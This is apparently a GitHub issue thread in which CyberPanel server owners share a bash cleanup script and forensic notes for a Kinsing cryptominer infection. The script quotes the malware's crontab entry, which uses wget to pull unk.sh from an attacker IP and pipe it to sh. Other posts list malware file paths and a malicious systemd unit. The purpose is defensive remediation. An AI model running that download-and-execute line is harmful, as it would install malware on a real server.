GUIDE : REMOVE CYBERPANEL MALWARE FROM YOUR SERVER

[r7avi]

I used this method to remove malware and update cyberpanel for my clients :

our servers : ubuntu 22.04

Login to your Instance via SSH (If you get error like server is refusing your connection then just reboot the server, and it will work)

Once you are In Create a bash script in your home directory (or wherever you want) :

cd /home

nano remove_malware.sh

#!/bin/bash

# Define malicious process names, file paths, and IP address
MALICIOUS_PROCESSES=("kdevtmpfsi" "kinsing")
MALICIOUS_FILES=("/etc/kinsing" "/tmp/kdevtmpfsi" "/etc/data/kinsing") # IOnlyKnowThesePaths-HackerischangingpathsRegularlySoBeware
MALICIOUS_IP="185.122.204.197"

# 1. Stop and disable bot.service, then delete it
sudo systemctl stop bot.service && echo "Stopped bot.service."
sudo systemctl disable bot.service && echo "Disabled bot.service."
sudo rm -f /etc/systemd/system/bot.service /lib/systemd/system/bot.service && echo "Deleted bot.service files."
sudo systemctl daemon-reload && echo "Reloaded systemd daemon."

# 2. Kill malicious processes
for process in "${MALICIOUS_PROCESSES[@]}"; do
    pkill -f "$process" && echo "Killed process: $process" || echo "Process $process not found."
done

# 3. Remove malicious files
for file in "${MALICIOUS_FILES[@]}"; do
    if [[ -f "$file" ]]; then
        rm -f "$file" && echo "Deleted file: $file"
    else
        echo "File not found: $file"
    fi
done

# 4. Remove malicious crontab entry
CRON_PATTERN="* * * * * wget -q -O - http://$MALICIOUS_IP/unk.sh | sh > /dev/null 2>&1"
(crontab -l | grep -v "$CRON_PATTERN") | crontab -
echo "Removed malicious crontab entry."

# 5. Block the malicious IP
iptables -A INPUT -s "$MALICIOUS_IP" -j DROP && echo "Blocked IP: $MALICIOUS_IP"

echo "Malware removal and service cleanup completed."

Make it executable :

sudo apt update
sudo apt install dos2unix
dos2unix remove_malware.sh

and then Run :

sudo bash remove_malware.sh

and then update your cyberpanel easily 👍

[r7avi]

for me MALICIOUS IP was 185.122.204.197

You can find your instance MALICIOUS IP in crontab

crontab -e

[jumson]

FYI, some other things to consider, based in the analysis I did on my Ubuntu server running CyberPanel. The name of the process and file for me was "kinsing" and not "kingsin" --

1. The list of malicious files I found was:

/etc/data/libsystem.so
/etc/data/kinsing
/etc/libsystem.so
/etc/kinsing
/var/lock/linux.lock
/var/tmp/.ICEd-unix
/tmp/kdevtmpfsi
/etc/data   # this whole directory was created by malicious code
/lib/systemd/system/bot.service

You might start your hunt with a stat of a known malicious file, then search for other files created in that time period, and give them a hard look. Also, +/- 24hrs. For me, it was: root@freedom:~# find / -type f -newermt "2024-10-29 09:30" ! -newermt "2024-10-29 10:00" 2>/dev/null

Also, this command worked well because there are not a ton of files in the lscpd group, so it turned up like 7/8 of those malicious files: find / -group lscpd.

I'm leaving linux.lock there since it ahs no code. Maybe that malware will check for it again if it ever comes back if I missed something else.

2. You also need to see that all your normal processes are using the malicious libsystem.so

root@freedom:~# ldd /etc/data/libsystem.so
	linux-vdso.so.1 (0x00007ffc435e7000)
	libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f2987fa0000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f2987d77000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f2987fb5000)

Unfortunately I forgot to save that output from before I removed the files and rebooted. However, the command for determining if the malicious code is being used by your system processes is: lsof /etc/libsystem.so or point to any/all of the malicious files to check.

3. You need to stop the bot.service, disable it, and delete it. systemctl disable bot.service & systemctl stop bot.service and remove the file /lib/systemd/system/bot.service

4. So after deleting all the files, removing the service, deleting the cronjob, and restarting the machine, then I think its perhaps back to not being exploited from that one.

5. However, the malware likely also modified your iptables or UFW and may have left your server in a more vulnerable state. You should re-baseline all of that.

root@freedom:~# stat /etc/data/libsystem.so
  File: /etc/data/libsystem.so
  Size: 26800     	Blocks: 56         IO Block: 4096   regular file
Device: 803h/2051d	Inode: 38013145    Links: 1
Access: (0777/-rwxrwxrwx)  Uid: (    0/    root)   Gid: ( 5001/   lscpd)
Access: 2024-10-29 09:38:49.574529392 -0400
Modify: 2024-10-29 09:38:49.570529449 -0400
Change: 2024-10-29 09:38:49.570529449 -0400
 Birth: 2024-10-29 09:38:49.102536087 -0400
root@freedom:~# stat /etc/data/kinsing
  File: /etc/data/kinsing
  Size: 5967872   	Blocks: 11656      IO Block: 4096   regular file
Device: 803h/2051d	Inode: 38013144    Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: ( 5001/   lscpd)
Access: 2024-10-29 09:38:48.854539605 -0400
Modify: 2024-10-29 09:38:48.850539662 -0400
Change: 2024-10-29 09:38:48.850539662 -0400
 Birth: 2024-10-29 09:38:47.714555781 -0400
root@freedom:~# stat /etc/libsystem.so
  File: /etc/libsystem.so
  Size: 26800     	Blocks: 56         IO Block: 4096   regular file
Device: 803h/2051d	Inode: 38013148    Links: 1
Access: (0777/-rwxrwxrwx)  Uid: (    0/    root)   Gid: ( 5001/   lscpd)
Access: 2024-11-03 06:20:19.426552523 -0500
Modify: 2024-10-30 09:39:30.558767751 -0400
Change: 2024-10-30 09:39:30.562767702 -0400
 Birth: 2024-10-30 09:39:30.054773872 -0400
root@freedom:~# stat /var/lock/linux.lock 
  File: /var/lock/linux.lock
  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
Device: 803h/2051d	Inode: 87178552    Links: 1
Access: (0600/-rw-------)  Uid: (    0/    root)   Gid: ( 5001/   lscpd)
Access: 2024-11-01 07:31:30.833921483 -0400
Modify: 2024-10-29 09:38:49.674527974 -0400
Change: 2024-10-29 09:38:49.674527974 -0400
 Birth: 2024-10-29 09:38:49.674527974 -0400
root@freedom:~# stat /var/tmp/.ICEd-unix
  File: /var/tmp/.ICEd-unix
  Size: 4096      	Blocks: 8          IO Block: 4096   directory
Device: 803h/2051d	Inode: 87332216    Links: 2
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: ( 5001/   lscpd)
Access: 2024-11-01 07:00:07.928281093 -0400
Modify: 2024-10-29 09:38:49.674527974 -0400
Change: 2024-10-29 09:38:49.674527974 -0400
 Birth: 2024-10-29 09:38:49.674527974 -0400
root@freedom:~# stat /etc/data
  File: /etc/data
  Size: 4096      	Blocks: 8          IO Block: 4096   directory
Device: 803h/2051d	Inode: 38013143    Links: 2
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2024-11-01 06:59:27.024798284 -0400
Modify: 2024-10-29 09:38:49.102536087 -0400
Change: 2024-10-29 09:38:49.102536087 -0400
 Birth: 2024-10-29 09:38:45.514587010 -0400
root@freedom:~# ls -al /etc/data
total 5872
drwxr-xr-x   2 root root     4096 Oct 29 09:38 .
drwxr-xr-x 114 root root    12288 Nov  1 08:59 ..
-rwxr-xr-x   1 root lscpd 5967872 Oct 29 09:38 kinsing
-rwxrwxrwx   1 root lscpd   26800 Oct 29 09:38 libsystem.so

root@freedom:~# systemctl status bot
○ bot.service - Start daemon at boot time
     Loaded: loaded (/lib/systemd/system/bot.service; disabled; vendor preset: enabled)
     Active: inactive (dead)
root@freedom:~# cat /lib/systemd/system/bot.service
[Unit]
Description=Start daemon at boot time
After=
Requires=
[Service]
Type=forking
RestartSec=10s
Restart=always
TimeoutStartSec=5
ExecStart=/etc/kinsing
[Install]
WantedBy=multi-user.target
root@freedom:~# stat /lib/systemd/system/bot.service
  File: /lib/systemd/system/bot.service
  Size: 193       	Blocks: 8          IO Block: 4096   regular file
Device: 803h/2051d	Inode: 16908687    Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: ( 5001/   lscpd)
Access: 2024-11-03 07:24:56.269618440 -0500
Modify: 2024-10-30 09:39:30.598767265 -0400
Change: 2024-10-30 09:39:30.598767265 -0400
 Birth: 2024-10-29 09:38:49.590529165 -0400

[jumson]

Reference to the vuln/exploit that got the malware in the door:
https://thehackernews.com/2024/08/critical-flaw-in-wordpress-litespeed.html

Some References for the malware:
Kinsing matches this: https://www.virustotal.com/gui/file/787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c/detection

https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html

great guide on this malware (not the xploit that got them in though): https://1665891.fs1.hubspotusercontent-na1.net/hubfs/1665891/Threat%20reports/AquaSecurity_Kinsing_Demystified_Technical_Guide.pdf

[jumson]

Also keep an eye on: 5b08cd6

[r7avi]

@jumson sorry bro, mybad
yeah its kinsing , updated above code ,

[r7avi]

btw ports with 8090 are hit with this malware, custom ports are safe

[r7avi]

and yeah.
/etc/kinsing - old
/etc/data/kinsing - updated

i mean they are changing paths :)

[splitpierre]

Keeping an eye on this one, thanks for the effort everyone.
I`ve used the script from github/managingwp to cleanup, worked great.
https://github.com/managingwp/cyberpanel-rce-auth-bypass/tree/main

It handles:

• Immutable flag related issues
• Patches Cyberpanel with 5b08cd6
• Kinsing cleanup (Search, disable & remove)

Notes:
It doesn`t patch dns/views.py as per followup commit 1c0c6cb

First time looking up for the .L0CK3D references on the web, I`ve found it to be correlated to Atlassian Confluence CVE-2023-22518, which funny enough, also leverages 8090.

Good read on Confluence RCE, the PoC there....
https://www.vicarius.io/vsociety/posts/authentication-bypass-in-confluence-cve-2023-22518

BTW, @usmannasir I know 8090 is hardcoded in LSCPD, but think about it, not using 8090 by default, could very likely have avoided this whole mess, am I wrong? We NEED a way easily change LSCPD 8090 to a custom port, as it is a Very common attack surface, (maybe proxy it under the hood? as long as its down for public...)

Good luck everyone, stay safe!

[asfarmed22]

Please, is this virus related to a vulnerability in cyberpanel? Because it appeared recently and I got tired of it.

[cybertr0n1]

Keeping an eye on this one, thanks for the effort everyone. I`ve used the script from github/managingwp to cleanup, worked great. https://github.com/managingwp/cyberpanel-rce-auth-bypass/tree/main

It handles:

• Immutable flag related issues
• Patches Cyberpanel with 5b08cd6
• Kinsing cleanup (Search, disable & remove)

Notes: It doesn`t patch dns/views.py as per followup commit 1c0c6cb

First time looking up for the .L0CK3D references on the web, I`ve found it to be correlated to Atlassian Confluence CVE-2023-22518, which funny enough, also leverages 8090.

Good read on Confluence RCE, the PoC there.... https://www.vicarius.io/vsociety/posts/authentication-bypass-in-confluence-cve-2023-22518

BTW, @usmannasir I know 8090 is hardcoded in LSCPD, but think about it, not using 8090 by default, could very likely have avoided this whole mess, am I wrong? We NEED a way easily change LSCPD 8090 to a custom port, as it is a Very common attack surface, (maybe proxy it under the hood? as long as its down for public...)

Good luck everyone, stay safe!

It is very easy to change LSCPD port to another. Just login to the panel -> Press server status -> change port
Done

[master3395]

Keeping an eye on this one, thanks for the effort everyone. I`ve used the script from github/managingwp to cleanup, worked great. https://github.com/managingwp/cyberpanel-rce-auth-bypass/tree/main
It handles:

• Immutable flag related issues
• Patches Cyberpanel with 5b08cd6
• Kinsing cleanup (Search, disable & remove)

Notes: It doesnt patch dns/views.py as per followup commit [1c0c6cb](https://github.com/usmannasir/cyberpanel/commit/1c0c6cbcf71abe573da0b5fddfb9603e7477f683) First time looking up for the .L0CK3D references on the web, Ive found it to be correlated to Atlassian Confluence CVE-2023-22518, which funny enough, also leverages 8090.
Good read on Confluence RCE, the PoC there.... https://www.vicarius.io/vsociety/posts/authentication-bypass-in-confluence-cve-2023-22518
BTW, @usmannasir I know 8090 is hardcoded in LSCPD, but think about it, not using 8090 by default, could very likely have avoided this whole mess, am I wrong? We NEED a way easily change LSCPD 8090 to a custom port, as it is a Very common attack surface, (maybe proxy it under the hood? as long as its down for public...)
Good luck everyone, stay safe!

It is very easy to change LSCPD port to another. Just login to the panel -> Press server status -> change port Done

You do know that it is still hardcoded, even if the public port is changing?
If you want to use features like the connection to https://platform.cyberpersons.com/ it requires port 8090 in order to use some features.